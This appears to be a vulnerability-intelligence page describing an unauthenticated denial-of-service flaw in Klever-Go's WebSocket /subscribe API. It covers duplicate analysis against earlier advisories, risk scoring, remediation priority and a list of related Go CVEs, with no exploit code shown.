Checked against https://github.com/klever-io/klever-go/security/advisories (3 published):

  • GHSA-jc6w-wmfc-fh33 / CVE-2026-46403 (Medium) - KVM read-only exec commits delete/upgrade side effects.
  • GHSA-87m7-qffr-542v / CVE-2026-44697 (High) - MultiDataInterceptor OOM via crafted compressed P2P payload.
  • GHSA-74m6-4hjp-7226 (High) - MultiDataInterceptor throttler-slot leak on malformed compressed batches.

This finding is NOT a duplicate:

  • Different component - REST/WebSocket API (network/api/websocket, websocket/), not the P2P

interceptor pipeline or the KVM.

  • Different mechanism - missing WS read-size limit + uncounted live connections + permissive origin

(CWE-770/1385), not gzip decompression blow-up, not throttler-slot accounting, not VM read-only isolation.

  • The advisory texts contain no mention of /subscribe, SetReadLimit, CheckOrigin,

addressSubscription, SocketHub, or processSubscription.

  • The three advisories' fixes ARE present in the reviewed tree (MaxDecompressedBatchSize,

ownershipTransferred throttler guard, runtime.ReadOnly() delete/upgrade checks), confirming the tree is at/after v1.7.17, yet the /subscribe gaps remain unpatched at HEAD 23b74e1.

  • It is adjacent in impact CLASS to 87m7/74m6 (remote DoS), referenced here for context only.

Technical POC Analysis

CWE-770 (Allocation of Resources Without Limits or Throttling), compounded by a missing-origin check.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

Klever-Go, the node software used to run Klever blockchain infrastructure, is exposed to an unauthenticated remote denial-of-service condition affecting every release prior to 1.7.20, where the publicly reachable REST/WebSocket interface can be driven into memory and goroutine exhaustion by any internet client with no credentials, stake, or funds. Because that interface runs inside the node process, a forced out-of-memory termination also removes the affected node from peer-to-peer networking and consensus participation, meaning operators of exposed nodes face unplanned downtime and potential loss of validation rewards rather than any theft or data exposure. The blast radius is bounded by Klever-Go's comparatively small installed base, but for any team operating these nodes the availability risk is immediate and the fix is a straightforward version upgrade.

Business Impact: Medium
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.4%
Top 74% exploitable
Prevalence
Low
single-vendor blockchain node software, niche operator footprint
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Medium

Priority Score

58
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Go

View all
CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2016-5386 HIGH
8.1 Jul 19

The net/http package in Go through 1.6 does not attempt to address RFC 3875 section 4.1.18 namespace conflicts and there

CVE-2025-68121 CRITICAL POC
10.0 Feb 05

Critical certificate validation bypass in Go crypto/tls during session resumption. If ClientCAs or RootCAs fields are mu

CVE-2019-14809 CRITICAL POC
9.8 Aug 13

net/url in Go before 1.11.13 and 1.12.x before 1.12.8 mishandles malformed hosts in URLs, leading to an authorization by

CVE-2026-90942 CRITICAL POC
9.3 Sep 14

Casdoor through 4.4.0 exposes its instance-wide built-in JWT signing private key unmasked through the /api/get-certs and

CVE-2026-101090 CRITICAL POC
9.3 Sep 27

Host header injection in Nezha 2.2.3's OAuth2 redirect endpoint (/api/v1/oauth2/{provider}) allows an unauthenticated re

CVE-2026-78428 HIGH POC
8.8 Sep 17

Session cross-wiring in SUSE NeuVector before 5.6.1 allows an unauthenticated remote attacker to obtain another user's a

CVE-2026-92791 HIGH POC
8.7 Sep 16

Unauthenticated path traversal in Uber Kraken through 0.1.29 allows remote attackers to read files outside the configure

CVE-2018-7187 HIGH POC
8.8 Feb 16

The "go get" implementation in Go 1.9.4, when the -insecure command-line option is used, does not validate the import pa

CVE-2026-16651 HIGH POC
8.7 Sep 21

Denial of service in Temporal Server allows an authenticated caller holding at least namespace read permission to crash

CVE-2026-82405 HIGH POC
8.7 Sep 23

Account takeover in Klever-Go's KleverUpdateAccountPermission built-in (all versions prior to 1.7.20) allows an attacker

CVE-2026-82409 HIGH POC
8.4 Sep 23

Maliciously crafted on-chain account names processed by Klever-Go prior to 1.7.20 are spliced into Elasticsearch _bulk r

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy